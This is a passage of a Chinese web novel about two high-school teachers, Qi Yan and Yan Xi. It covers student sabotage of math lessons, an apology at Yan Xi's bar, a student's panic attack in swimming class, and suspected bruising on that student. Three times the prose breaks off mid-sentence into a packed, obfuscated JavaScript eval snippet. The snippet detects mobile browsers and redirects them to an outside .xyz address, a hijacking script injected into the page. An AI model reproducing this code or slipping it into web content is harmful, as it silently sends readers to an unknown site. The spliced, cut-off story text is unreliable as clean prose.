燕习正在讲台上讲一道三角函数的题目,声音平静,但不会让人觉得困,因为燕习总会在某些关键信息出现的时候,叫同学起来回答问题。 燕习点名的时候,总先看一遍花名册,无框眼镜下,眼皮轻抬,精准定位到要叫的人,同时准确无误叫出学生名字。 学生起立回答问题。 燕习右手拿着粉笔,轻轻在讲桌上敲着,始终没什么表情,在学生回答完问题后,通常会沉默两秒说:“请坐。” 祁衍在窗外看了会儿,莫名自己后背也有点儿发凉,主要是燕习的每句话,太过平静,但又在话口留着空隙,让人不自觉去想,他在想什么,对刚才的回答是有什么不满意吗? 但燕习不会表达出来,只是在让同学“请坐”后,面无表情盯着他,说出一长串的话。 “上周五放假前布置的习题册的第七道题,以及昨天上午第三节数学课,布置下去的卷子里的第十五题是同个类型。”燕习盯着他说:“你做错了同一个步骤。” 那个学生叫彭鑫,是他们班中上游的学生,成绩还不错。 “同样的题,我上次也讲了,也是叫你起来回答的问题。”燕习语气平淡中带着特有的冷:“两次了,你还是回答错了。” 学生面面相觑,提了口气的氛围。 祁衍其实经常上来视察,见燕习提问的场面也有几次了,但每次见了,还是会不由自主屏住呼吸。 燕习就那么直直盯着人,讲台上的他,视线微微下垂,带着审视。 彭鑫站在那里,欲言又止。 “直接说。”燕习轻挑眉说。 彭鑫犹豫了下说:“可是您上次提问我的时候没说我打错了,直接让我坐下了。” 彭鑫说话声音越来越低。 燕习放在了手上的粉笔,沾着粉笔的手指摩梭了下说:“彭鑫同学当然知道自己上次回答错了。” 彭鑫愣着,不说话了。 祁衍听到这里莫名蹙了下眉,觉得不太对劲儿,但又想不出来是哪不对劲儿。 他正琢磨着,突然有人叫他。 “祁老师。” 燕习在讲台上,和他隔着窗户对视着:“您进来一下。” 祁衍看了眼时间,用眼神问燕习要干什么。 “进来。”燕习轻挑眉又重复了一遍。 祁衍不知道燕习要干什么,手指转了圈卫衣帽子的绳,才进了教室。 一进教室,学生都直勾勾盯着他,祁衍从他们眼神里看出来明显了的求救。 “怎么了燕老师。”祁衍问他。 燕习没立刻说什么。 祁衍看了彭鑫一眼,已经接过话:“不好意思啊燕老师,彭鑫是个挺认真的学生,我想他不是没好好听课,您别和学生生气,彭鑫下去肯定能把题搞懂,同样的问题不会再犯。” 说完祁衍给彭鑫试了个眼色。 “对不起燕老师。”彭鑫也不看他,闷闷说。 祁衍又看燕习。 燕习目光始终停在彭鑫身上,然后唇角微乎其微勾了下。 祁衍竟然看见这人笑了,这还是祁衍第一次见,他都愣了一秒。 燕习鼻腔发出声短暂的笑:“祁老师教学水平是高,只需要在旁边看着,都能帮学生大大提高学习效率。” 彭鑫愣了一秒,反应过什么,头低了点儿。 不止是彭鑫,班里三十多个人都默契地低头看书。 祁衍要这时候还发懵,就白当他们这两年班主任了。 祁衍就是反应了两秒,抬头看向燕习,又和燕习对视了一秒,瞬间了然。 合着燕习今天晚上不是来上课的,是来兴师问罪的。 这帮学生肯定是干了点儿什么。 “燕老师,您直说。”祁衍扫过这一圈人:“他们干什么了?” 燕习翻着讲台上的书,另只胳膊拄着桌子,姿势随意:“没什么,我只是发现,只要祁老师在旁边,学生的效率就会直线上升……” 燕习顿了下,才抬眼看着他说:“祁老师是六班的灵魂人物。” 祁衍脑子也算机灵,燕习这么一说,他拐了个弯就想明白了,转头问学生:“你们上燕老师课,都干什么了?” 语气难得严肃,表情也收敛了,换上了严厉。 学生默契地都不说话,只是互相咳嗽了几声,然后又埋下头。 燕习轻挑眉,合上了书:“今天课就上到这儿,剩下的由祁老师来解决吧。” “燕老师,这事儿我问清楚,给您个答复的。”祁衍很认真说。 燕习什么也没说,离开了教室。 燕习一走,祁衍过去把门带上,在班里慢吞吞转了一圈,然后停在了讲桌。 “所有人。”祁衍叩了叩讲桌:“把你们这一个星期所有的数学作业,放桌子上,然后接着上自习。” 学生抬头陆陆续续看他,不停使着眼色,最后所有人都目光焦点到了顾沁身上,他们班的女班长。 “祁哥。”顾沁犹豫了下叫他。 祁衍不应声,蹙眉说:“叫哥也没用,我是你们班主任,是你们老师,别和我解释什么,这笔帐我自己来算,你们现在学你们的。” 学生们只能拿出题接着做了,祁衍下去把每个人的练习册收了上来。 祁衍在讲桌上,一个一个翻,脸色可谓是五彩缤纷,到最后都看笑了。 这么说吧,一个正常的普通班级,学习成绩一般都会分为三部分,优等,中等和笨鸟。 祁衍今儿翻完这作业,感觉翻的全是中等生的卷子,他粗略算了算,基本每张卷子,所有人都分数都分布在70—80. 祁衍再了解不过他们班的成绩了,他们班虽然不是特别厉害的班,但绝对不差,前十名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563430|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能挑出好几个进年纪前十的。 但是今儿这卷子,水平真是异常平均。 燕习肯定能看出问题,毕竟燕习来第一天,就让祁衍整理了他们班学生进入高中以后的所有考试成绩。 燕习心里都有数,这些猴在糊弄谁,看得很清楚。 祁衍前半个小时在看卷子,后半个小时,在思考这些猴儿为什么这么做,对燕习不满? 不应该啊,燕习刚来第一天,这群猴眼珠子都掉下来了,而且他们班的猴儿,只是爱玩儿,心思又不坏。 想来想去,祁衍只想到一个可能。 自习快上完的时候,祁衍手指圈着敲了敲黑板,吸引了学生视线。 “聊聊吧。”祁衍说。 学生停了正在写字的动作。 “让我来猜猜哈。”祁衍拿起黑板擦,转了一圈,擦干净了黑板,拍了拍手,撑着讲桌说:“燕老师给你们布置的作业,你们是控分做的吧?” 学生都默契地不说话。 “上课提问,也是故意答错的。”祁衍用平静地语气说:“你们还干什么了?” 学生还是不说话。 “啧。”祁衍歪了歪头:“自家人关起门来说话,有什么好不能说的,而且我又没说不和你们同一战线。” 这话一出,学生突然齐刷刷盯着他,又互相看看。 曹晨在第一排,先开了口:“祁哥,你的意思是,你没想把我们让给燕老师?” 祁衍轻挑眉,果然,这群猴是知道要换班主任了。 “真的吗祁哥?”顾沁又问:“班主任这事儿是假的?” 后面的学生都开始小声交流了起来。 “我就知道,祁哥不可能背着我们做这事儿。” “先别管班主任这事儿。”祁衍轻挑眉:“你们先告诉我,你们都干什么了?” 都说到这儿了,不想交代也都交代了。 直到这时候,祁衍才知道这些猴本事有多大,不仅是不好好写燕习的作业,还偷偷改燕习的花名册,燕习叫名字,他们就随机起来回答。 不仅这样,这些猴还实名上书,写了三十多邮件给学校投递,这一招,和当时让祁衍接管六班,用的同一招。 关键是这群学生想得还挺全面,这种做法是全体性质的,不会给自己找上麻烦,也没污染课堂,该听课还是照样听,也不会耽误上课,顶多是给燕习添点儿堵,给校长告告状。 祁衍听了,无奈笑了好一会儿。 最让祁衍出乎意料的,这些学生还给自己留了后路,万一东窗事发,祁衍来问责,他们还能交给祁衍认真写好的作业。 “这是作业。”顾沁作为班长,一直在认真监督学生的作业情况:“交给燕老师的都是我们控分写的,认真写的都在本子上了。” 祁衍看着面前厚厚一沓,又笑了:“欸,你们是怎么觉得燕习好欺负的?” 燕习比祁衍都高,语气一冷下来,祁衍隔着窗户都能感觉到压迫,这些小孩儿,还在燕习眼皮子底下造反。 “没觉得他好欺负。”学生在底下嘟嘟囔囔说。 祁衍也没太听清,就听清了最后一句。 “我们是不想让他觉得我们是好欺负的,随便想要走就能要走的。” 曹晨也说:“对,我们是祁老师带出来的,凭什么他想要走就要走了。” 祁衍其实听上去还有点儿感动,但这事儿做得太幼稚了,祁衍得和他们讲道理。 “其实。”祁衍笑了声:“班主任这事儿吧,不关人燕老师的事儿,我们也不能做什么,都是校长定的,校长确实想给我们六班换个班主任。” 底下学生互相对视一眼,又喧嚷开了。 “欸?又要反校长了?”祁衍语气懒懒说。 学生咳嗽了好几声,他们可不敢…… “但是燕老师开学第一天,还给祁哥举报到校长办公室了,我觉得他就是没安好心。”曹晨口直心快说。 祁衍顿了一下,又想起那天厕所的事儿,吸了口气说:“当时吧,他也不知道我带的班就是他要带的班,而且,那事儿确实是我不对……” 祁衍也不知道怎么解释,只能糊弄过去,让他们别提这事儿。 祁衍最后和他们解释了一下,燕习和自己现在是一起带六班,边带边看,校长那边也没完全定下来。 “高三这一年,我还要带特长生,确实没太多时间陪你们。”祁衍犹豫了下说:“燕老师其实也能带挺好,你们……” “不行。”学生异口同声。 祁衍笑了会儿,算是没白带他们两年。 “这事儿看缘分吧。”祁衍神色认真了些说:“但你们之后不能再搞什么小把戏了啊,燕老师人家又什么都没干,你们天天给人扣罪名,太不尊重人了啊。” 学生互相看看,勉强答应了。 最后祁衍让顾沁重新整理这一周的作业,第二天给燕习送到办公室。 至于道歉…… 还得祁衍自己亲自来,下了晚自习,祁衍回家中途拐了个弯,去了酒吧。 8. 008 祁衍那时候也没多想,就是解决了事儿,想给当事人道个歉,但是也不好直接在微信上说,就找来了。 这是祁衍第二次来这个酒吧,也记住了酒吧的名字“White”,祁衍想起了燕习在酒吧的白发。 祁衍进酒吧,扫一圈没看见燕习的影子,直接去了吧台,问了个小哥:“你好,你们老板在吗?” 小哥看了祁衍一眼,笑了声:“找燕哥的啊?约了吗?” 祁衍手上钥匙一转,笑了,估计这人是把自己当搭讪的了。 “嗯……”祁衍垂眼笑了声:“你直接说他在不在吧。” 小哥手肘放在吧台上,笑了声:“来晚了,跟人走了,再早点儿,你这长相说不定还有戏。” 祁衍转钥匙动作顿了一秒,有些不相信:“他带人走了?” 小哥耸了下肩,不置可否。 祁衍这下觉得好玩儿了,下一秒,他瞥到了柜台里面柜台上放了串车钥匙。 祁衍轻挑眉,转身拿手机拨了个电话。 电话那边接的挺快。 “燕老师,下来一趟。”祁衍说了一句,电话那边短暂沉默了两秒,然后挂了。 小哥见祁衍还不走,还给自己点了杯喝的,过去和他搭话。 小哥问他:“你之前来过这儿吗,看着眼生。” 祁衍抿了口喝的说:“不常来。” “不常来?那你一来就问燕哥,目的性很强啊。”小哥嘿嘿一笑,开门见山说:“你追他多久了?” 祁衍憋着笑,表情复杂没说话。 “我劝你趁早赶紧溜。”小哥坐他对面说。 祁衍晃荡了下杯子,不经意问了声:“怎么?他有主了?” “那没有。”小哥否认的挺快。 祁衍笑了:“那你说他今晚跟别人走了。” 小哥嘿嘿笑了几声,转了个话题:“哥,你多大啊?” 祁衍装作没看出他刻意避免燕习私生活的话题,他笑得眼睛弯了弯说:“什么多大?” 小哥接话接的也很快:“都说一说呗。” 祁衍笑了笑。 “我二十五。”小哥笑着补了句:“我说的年纪哈。” 祁衍又乐了会儿。 现在这年头,根本不管你叫什么,就看年纪合不合适,下一步就该发展一下了,有时候,该干的都干了,才想起来还不知道对方叫什么。 对面这位明显是个流水线工作者,看见长得好看的,就上流程,估计钓到了,也就是睡一晚的关系。 “哥还没回答我呢。”小哥又问。 祁衍余光扫了到了什么,朝他笑了下:“我嘛,年纪比你老板小点儿,其他不一定。” 小哥反应了几秒。 “在说什么?”燕习的声音陡然在小哥背后响起,他惊得后背都直了。 “我去,燕哥你怎么逮人后边站呢。”小哥扶着胸口:“吓我一跳,咋回来了?” 燕习没理他,还在看着祁衍。 祁衍略带笑意看着他说:“对啊,不是带人走了吗,怎么又回来了。” 燕习蹙眉。 小哥这时候才反应过来,是自己多想了。 “啊,不是。”小哥赶快解释:“那什么,燕哥太困了,上楼休息会儿,让我给他应付应付人。” 祁衍装作恍然大悟的样子,实际上眼尾还是含着笑,看着燕习:“这样啊。” 祁衍放下了杯子,和燕习说:“先介绍一下吧。” 燕习似乎叹了口气,才接过话。 “他是酒吧的经理,韦澄。”燕习又和韦澄介绍:“这位是祁衍,我同事。” 韦澄来回看看俩人,瞪大了眼睛:“同事?人民教师啊?” 祁衍轻挑眉,没绷住笑了。 韦澄这才反应过来,那他刚刚说了什么啊……太冒犯了。 祁衍倒是全然不觉尴尬。 “不好意思不好意思。”韦澄反应最大:“这闹大误会了祁老师,我这,我以为你是,我没想到你,燕哥没带同事来过这儿,我想多了。” 韦澄说半天也解释不清楚。 祁衍抬手说:“没事儿,我不介意。” 韦澄刚才冒犯了人老师,这下灰溜溜退下去了。 “你这经理挺有意思。”祁衍笑着说。 燕习刚才应该是真的在楼上休息,已经换了身上的白衬衣,头发也有洗完澡潮湿的痕迹,套了件外套就下来了。 燕习倒了杯水,喝了口,开门见山问他:“有事儿?” 祁衍摸了摸后脑勺,开始说正事儿了:“就是,班里的事儿。” “班里的事儿找到这儿来说。”燕习蹙眉说。 祁衍勾了半边唇说:“顺路,回家路上,一拐弯儿就来了。” 燕习看了眼时间:“祁老师,早点儿说吧,很晚了。” 祁衍笑了笑,也不绕圈了:“行,我就是来替班里学生和您倒个歉,他们其实没恶意,就是不知道从哪儿听了换班主任的消息,这群小孩儿心慌了,就搞了些小把戏,没不尊重您的意思。” 燕习还是头次在酒吧听这些话,手指摩挲着杯面,垂下了眼。 “今晚来这儿,这么突然,挺冒犯的,但今儿不道这个歉,我晚上回去睡不着觉。”祁衍说这是真的,他睡眠质量不好,只要心里憋一点儿事都睡不着:“真是不好意思燕老师,我已经教育过他们了,也告诉他们未来一个月你和我一起带,以后他们指定改,要是他们还不改,您就告诉我,我肯定给您个交代。” 燕习听完祁衍的话,水喝了一半,放下水杯说:“既然都找这儿来了,就别您来您去了,听得别扭。” 祁衍笑了下:“好吧。” 燕习接着说:“我没什么想说的,你也不需要有太大歉意,说实话,才带了一个星期,他们那些小伎俩,还不至于影响到我的情绪。” 祁衍顿了下,点点头。 “至于今晚。”燕习沉默了几秒,捏了捏眉心。 祁衍还在等他说。 “算了。”燕习轻轻叹口气说,祁衍突然找来酒吧,确实让他有些猝不及防。 祁衍抬手看了眼表,他也该走了。 “韦澄是不是和你说了什么?”燕习突然就转了话题。 祁衍反应了一秒:“也没什么……” 他顿了下才笑着说:“如果你是说性取向的话。” 祁衍说话直,想到什么说什么:“你都开gay吧了,猜也猜个八九不离十了,至于其他的,韦澄就是开个玩笑,我也没当真。” 燕习轻挑眉,没再问什么。 “那我走了,学生这事儿就算过去了。”祁衍笑着说:“今晚打扰了,明儿见燕老师。” 燕习嗯了声,看着男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563431|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捞起钥匙,转身离开了,出去的时候,身后还跟了几双酒吧里的视线。 翌日,燕习上课,进教室的时候,看见了坐在最后一排的祁衍。 祁衍还有教案没处理完,手上写着字,学生也都早早坐回了原位,燕习进来的时候,喧嚷声平静了下来。 祁衍抬头,分了燕习一眼,朝他笑了下。 燕习眼皮抬了下,也没说什么,接着讲自己的课。 祁衍从那天之后,只要是数学课,都会提前在最后一排坐着,除了偶尔他要去给特长生训练的时候不在,其他时候都在。 祁衍自己也给六班带体育课,他的体育课从不给其他科老师,是什么时候上就是什么时候上。 这天是上午的课,学生提前在操场集合完,祁衍是真的会教他们八段锦,也教他们太极。 不过这都高一的教学内容,但学生也得做,做完之后,祁衍带他们去游泳了,这个课时本来就是学游泳的。 学生就各自撒欢,祁衍大多数时间都是看着学生,帮学生调整一下姿势。 九月中旬,北京还是闷热,和盛夏也差不多。 学生里也有几个旱鸭子,比如说王桉,一个长胳膊长腿的男生,多适合游泳的体型,偏偏怕水,带着游泳圈才侃侃敢下水。 祁衍在岸上和他聊天,了解到他是很小的时候,见过猫在公园溺水,又救不了猫,所以心里才留下了阴影。 这是个说话文文弱弱的小男生,身高和祁衍差不多,但体型很瘦弱。 往祁衍旁边一坐,弓着腰时候,祁衍体型大他一个半。 祁衍属于精瘦,带着薄肌,体脂率很低,因为他平时打羽毛球什么,属于穿衣显瘦,脱衣有肉的类型。 他们的课时,一个月才一节游泳课,每次游泳课这些学生逮着祁衍嚯嚯,八百米自由泳,憋气,花样游泳,什么招数祁衍都和他们玩儿过。 这天,祁衍又被曹晨他们几个拽着比赛,这次他们非要比赛水中跑步,一堆人围在前三条泳道。 祁衍和比赛,就和闹着玩儿一样,但每次都留有余地,卡在最后几秒败给这帮小孩儿,那就是拼演技。 班里同学这次推出了卢喻,还有王桉和他比赛。 王桉听了,犹豫了下:“我带泳圈也行吗?” “就是要在水里跑步嘛,你腿长胳膊长,肯定能比过祁哥。”同学都起哄说。 王桉听了,笑了笑:“那好吧,我试一试?” 就这样,祁衍和卢喻,王桉比赛什么水里跑步,要求就是不能用游的。 祁衍好几次急着想游着走,被六班那帮眼尖的猴给堵了回来。 “祁哥别耍赖!要迈步子的!” “王桉好快啊!王桉都回程了!” “祁哥,卢喻!你们快点!” 祁衍一听王桉要回程了,不放水了,开始往前赶了。 王桉回头看了他们一眼,很焦急的样子,努力在水里扑腾着走。 祁衍终于赶在王桉后面几秒,到了终点。 “祁哥不行呀。”顾沁说:“这差了五秒呢。” “王桉好厉害,是不是瘦的人水里阻力都少?” “对啊,王桉扑腾得好快,感觉比游得都快。” 祁衍在岸边缓着气,和六班的人开着玩笑,突然听到旁边有人惊呼了声。 “王桉!你怎么了!” 9. 009 祁衍瞬间从水里出来,带着水就走了过去,就看见王桉脸色发白,嘴也白,还干呕了几声。 “怎么了?难受?胸闷?”祁衍赶快摸他额头,冰凉一片。 “没事儿,我就是……”王桉说着又呕了声。 祁衍眉头紧蹙着,神色全然没了玩味,和学生说:“都让开,给他透气,拿点儿糖水来。” 学生都围在旁边,话也不敢说,只能听到喘气声,和王桉的干呕。 祁衍又摸他手脚,太冰太凉了。 祁衍暗骂了声,直接衣服也没换,就从游泳馆跑出去找人,一路上都没什么人,现在这个时间都在上课。 祁衍手机还锁在更衣室柜子里,他跑出去,太阳晒得地面烫脚心。 他刚跑出去游泳馆,就看见了不远处,刚从政教处出来的燕习。 “燕习!”祁衍大声喊他。 燕习闻声,转头看见祁衍这场景,脚步顿了下,眉心锁紧。 当时祁衍就穿了个泳裤,其他什么都没穿,身上还挂着水珠,祁衍的肤色不算特别白,偏小麦色,太阳晃过男人身子的时候,瞬间的视觉冲击,让燕习毫无准备。 “燕习!喊医生!”祁衍大声喊着。 然后祁衍就看燕习朝他走了过来,手上打着电话。 “对,游泳馆,快。”燕习和电话那边交代完,刚好来到祁衍旁边。 “出什么事儿了?”燕习眉头紧锁问他。 祁衍着急得抓着后脑勺的头发,转头往回走:“有个学生应激了。” 说着祁衍抓后脑勺头发更用力:“真操了,不该让他下水的。” 燕习侧头看了他一眼,没说话。 祁衍赶回去的时候,王桉已经不干呕了,但是还是面色发白,手指也有些抖。 学生已经给他准备了糖水,还有几个女生都急哭了。 “真的没事儿了?头晕不晕?” “对不起王桉,没想到你怕水这么严重。” 王桉脸发白,还在勉强笑着:“没事儿,就有点儿犯恶心,没关系的。” 祁衍过去,又摸了下王桉的额头:“还是拔凉。” “伸手。”燕习过去,突然说。 王桉愣了一秒,下意识伸出了手。 燕习把手上的书给了旁边的祁衍,半蹲下身,将男孩的手放在了自己膝盖上,手指放在了脉搏的地方。 周围一圈人都愣了下,包括祁衍。 燕习过了几秒,移开了手:“没什么大问题,脾胃不太好,有点儿贫血,是不是没吃早饭。” 王桉摸了摸头:“啊,我是有胃病,早上起迟了没吃饭,对不起,麻烦大家了。” 顾沁松了口气:“你不用道歉。” “没事儿就行,吓得我后背都湿了。”曹晨说。 卢喻翻了个白眼:“刚从池子里出来,谁后背不是湿的,废话。” 这话一出来,其他人都笑了,就连王桉都腼腆地跟着笑了好一会儿。 燕习看了眼人群外的祁衍。 相比较王桉,祁衍倒是更像那个应激的,他的脸也煞白,感觉像站不稳,还半靠着墙,在门口等着校医来。 燕习也是在那个时候,注意到了祁衍侧腰的疤,一半隐入了泳裤里,还有一半漏在外面,有四五厘米长。 男人的腰窝很明显,祁衍半只手撑在那里,指尖攥着腰,手指发红,感觉男人把半个身子的重量都卸了下去。 燕习走过去他旁边,从祁衍手里拿走了书。 祁衍半弯着腰,扯着嘴笑了笑:“吓死我了。” “小问题。”燕习想了想又说:“难免会遇见。” 祁衍站直了身子,还是靠着墙:“那也吓死了。” 燕习垂眼没再说什么。 校医很快就赶来了,他们也是跑着来的,还带了担架,他们先是给王桉简单看了一下,然后带他回了校医室。 祁衍跟着一起去了。 下节课是燕习的课,这一个星期,祁衍基本都在燕习课上最后一排听课。 祁衍是在上了一半才来的,本来他想着不来了,但怕上一节课的事儿影响学生的情绪,导致燕习这节课效果不好,所以他还是来看了看。 他从后门进来,还是坐在最后一排靠窗的位置,这次什么也没拿,所以就在那里干看燕习讲课。 他也有点儿走神,刚才事儿发生的突然,情绪消耗太大,突然松劲儿,莫名还困了,尤其燕习的声音,平静得像波澜不惊的水面,稍不在意,就会让人一脚踩下去,然后陷进去。 祁衍感觉自己的视线离桌子越来越近,突然,耳边突然响起燕习的声音。 “祁衍。” 祁衍那一瞬间觉得在做梦,这好像是燕习第一次这样叫他全名。 当祁衍意识到自己在课堂的时候,出于学生年代的本能,他一下坐直了,倒是没站起来,所以也不显得丢人。 “祁老师上数学课也上了五六节了,验验成果吧。”燕习在讲台上,旁边白班上是一道导数题。 祁衍懵了一秒。 学生齐刷刷盯着祁衍,憋笑的不在少数,祁衍愣着盯燕习,眼底写满了疑问。 “祁老师?”燕习在讲台上,轻挑眉问他。 祁衍心想豁出去了,走上讲桌,然后拿起了笔,盯着白班上的题长达五分钟。 然后写下了一个:解。 台下学生憋笑的声音此起彼伏。 燕习在旁边平静地评论了句:“新高考改革,写解不给分。” 祁衍:…… 过了几分钟后,祁衍开始写步骤了,他绞尽脑汁回想着高中的数学知识,先想把这个导数简化。 然后……简化为了:6=2 祁衍倒吸了口冷气,x呢……怎么给他解没了。 “祁哥,你在骂我们六班吗?”曹晨冷不丁一句。 整个教室爆笑。 祁衍默默摸了摸自己泛红的耳尖,侧头冲燕习发来“求饶”的眼神。 燕习唇角微乎其微抬了抬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“真没有老师。”王桉的声音闷闷响起:“是我自己磕的,班里的学生对我也很好。” 祝医生沉默了会儿:“行吧。” 祁衍眉心浅浅蹙起,又在门口等了会儿,才敲了敲门。 “进。”祝医生说。 祁衍进来,和祝医生先打了声招呼:“怎么样祝老师,小孩儿能回去上课吗?” “可以。”祝医生朝祁衍一笑,转头看王桉:“以后早上还是得吃点儿东西,尤其是有体育课的时候。” 王桉点点头:“谢谢祝老师。” “走吧,咱回去?”祁衍勾了下王桉脖子,又转头和祝医生摆摆手才出去。 祁衍都听见对话了,不可能没上心,他还专门回去找了祝医生一次。 “王桉腰上有几块黑青,泳裤挡着,做检查的时候我才看见。”祝医生蹙眉说:“我觉得不像是自己能撞出来的。” 祝医生这两句话下去,祁衍这一天都惦记这个事儿了,还特意去查了班里的监控,连着看了一个星期的,也没看见王桉和班上的哪个同学起争执。 10. 010 祁衍试探地问过王桉几次,没太把话挑明,就问了问王桉和同学相处怎么样,有没有起争执,王桉只说没有,祁衍也看不出他有没有在撒谎。 祁衍又问了班上几个人脉广的学生,也是说不知道。 这事儿一直悬在他心头,他一边觉得可能是祝医生看错了,说不定就是自己撞的,但是另一边,看王桉平时小心翼翼的样子,不像是能给自己撞出伤的样子。 祁衍这段时间,就琢磨这事儿了,上班都有些心不在焉,时不时就盯着班里的学生看。 脖子啊,手腕啊,就怕看出一点儿伤,整天提心吊胆。 这天祁衍正盯的认真。 旁边突然伸出一双手,祁衍反应了一秒,转头就看见了燕习的脸。 燕习手上拿的文件,是这周上课情况的汇总,往祁衍旁边一放。 下节课是燕习的课,祁衍这段时间下课经常在走廊,几乎节节课都在,学生上次都开玩笑问他,是不是和办公室的老师吵架了,所以天天躲班里。 “祁老师这周事儿少?”燕习问了句。 祁衍拿过燕习的文件,摆摆手:“少哪儿了,能把自己掰八瓣儿用。” 燕习轻挑眉说:“祁老师在教室摆张桌子,都能把办公室搬来了。” 祁衍知道燕习是在说他这段时间,一直往教室跑这事儿。 祁衍笑了笑,没说话。 燕习转头看着他,又看了眼时间:“还有两分钟上课,说说吧?班里的事儿?” “你看出来了?”祁衍有点儿惊讶。 燕习一身白衬衫,不适合和祁衍一样靠栏杆,他站在祁衍面前,身形挺拔,眼镜片的反光像是男人眼底露出来的光。 燕习不置可否。 “好吧。”祁衍揉了揉后脑勺的头发,叹了口气,两三句把事情简单说了说。 燕习听着也蹙起了眉。 “六班的学生不至于。”燕习近乎笃定说。 祁衍挑了下眉,他当然知道那群猴不至于,他毕竟带了猴儿们两年,对他们品性太了解了,但是燕习哪来的底气,祁衍倒挺好奇。 “怎么就不至于?”祁衍笑着问他。 燕习看了祁衍一眼,语气淡淡说:“能拍照一起喊土豆的班,就算是霸凌,估计绞尽脑汁想出来的法子,也只是背着被霸凌者喊茄子。” 祁衍闻言愣了好几秒,发出了这几天第一声爆笑,他笑得身子斜着靠着栏杆,带着栏杆一起晃。 燕习面无表情盯着他。 直到楼下政教处的崔主任喊他:“哪个班的!别靠栏杆!” 祁衍这才从栏杆上起来,但还是笑,笑得弯腰,手拄着膝盖:“不是,你这话太有意思了。” 燕习看了眼时间,又垂眼盯着笑得耳朵发红的男人,卫衣帽子挂在脖子一边,帽子抽绳还打了两个节。 祁衍的衣服好像大多都是这种休闲运动装,裤子也是运动裤,穿衣风格特随性,而且衣服都带帽子。 祁衍每次在想事情或者开会走神,都喜欢玩儿帽子那个抽绳。 燕习第一天就注意到了他这个习惯,越觉得奇怪反而越会不自觉就注意。 祁衍有很多不符合年龄的幼稚,比如现在也是。能因为这么一句话,笑这么长时间,燕习也不理解。 曹晨从窗户探头出来:“祁哥笑什么呢这么大声。” 祁衍朝他们摆手:“你们燕老师给我讲笑话呢。” “什么笑话。”曹晨眼睛发亮问他:“给我们也讲讲呗。” 祁衍这才慢慢停了笑,燕习刚刚在曹晨说话的时候,已经回教室了。 “这是我们老师才能听的笑话。”祁衍笑着说了句,赶他:“得了,好好上课。” 曹晨努努嘴,这才关上了窗户。 王桉这事儿,查不出东西来,祁衍还是放不下心,燕习之后和他提起这个事儿,让祁衍和王桉家长沟通一下。 祁衍最不乐意的就是和家长沟通,因为大部分家长都不太服他,之前家长会也是,这些家长看他年纪小,所以经常提一些很冒犯的问题。 比如问祁衍怎么就当上班主任了,相比较其他班主任有什么优势,带了他们两年,怎么没把学生成绩提上来等等问题。 祁衍面上笑着应付,心早飞八万里外了。 但是家长是家长,学生是学生,家长会一过去,祁衍照样和学生处得像哥们儿一样。 燕习让他联系王桉家长这事儿,祁衍其实也想过,但是王桉有没有被霸凌,本来就没下定论,再加上王桉的父母吧…… 是那些难缠家长里数一数二的,特别强势,每次开家长会和他们说话,祁衍感觉自己像在答辩现场。 或许也就是父母这种强势的性格,所以王桉性格就小心翼翼的,比较胆小。 “这事儿也没下定论。”祁衍想了想要和王桉父母交流,叹了口气:“而且王桉爸妈吧,有点儿……” 燕习挑眉,等他说。 祁衍顿了下:“不太好交流,对王桉控制欲也强,这一个电话打过去,反而会给王桉压力,毕竟人家王桉都说了没有。” 燕习那边沉默了有一会儿才开口:“会不会是王桉的父母。” 祁衍看了燕习一眼,没说话,如果真是父母那边的问题,那他们老师介入就麻烦了。 这事儿是祁衍专门来找燕习商量的,他之前其实没碰上过这种情况,学生都高中生了,又不是初中最容易闯祸的时候。 再加上他们六班的学生也就是爱玩儿,但都挺乖,没被这种事儿沾上过。 这是头一次,祁衍承认自己是有点儿着急,这几天一上班,看见王桉就琢磨这事儿。 “不用逼自己那么紧。”燕习突然开口说。 祁衍抬眼看他。 “学生的关系很复杂。”燕习垂眼说:“碰上了就按流程解决,但要是当事人真心是要藏着不让你知道,那就理解一下当事人,把事情先放一放。” 祁衍蹙眉,心里不太舒服。 “老师这个职业,确实带着很多光芒。”燕习说:“但逼一个老师,又当引路人,又当挚友,还当监督员,还要求老师对学生像亲人一样无微不至。” 祁衍看见燕习垂着眼,唇角轻轻抬了下,鼻腔随之发出声短暂的笑:“那显然没把老师当人。” 祁衍闻言,没忍住也笑了声:“欸,这是我第一次见你说这么多字。” 燕习不看他了,接着翻着桌子上的习题册。 祁衍坐在他对面,无意识晃着凳子,一下一下的。 燕习正要出声,让他再晃就出去。 祁衍突然笑着说了声:“谢谢燕老师。” 燕习话到嘴边,咽了下去。 其实燕习这些话有点儿对症下药的意思,他知道祁衍一直紧绷着,需要松劲儿,才说的这些。 祁衍听明白了,也听进去了点儿,和燕习聊完之后,这几天一直悬在心口的石头,才算落了下去,让他能喘口气,至少不用每天绷着劲儿,一天十几个小时盯学生了。 从这事儿之后,祁衍经常偶尔去燕习办公室,之前他俩有事儿,都是直接在办公室说完,祁衍就回去了。 现在每次说完事儿,祁衍还能在办公室再和燕习聊几句,聊的也大多数是班里的事儿,祁衍在话里,能感知到燕习很多想法。 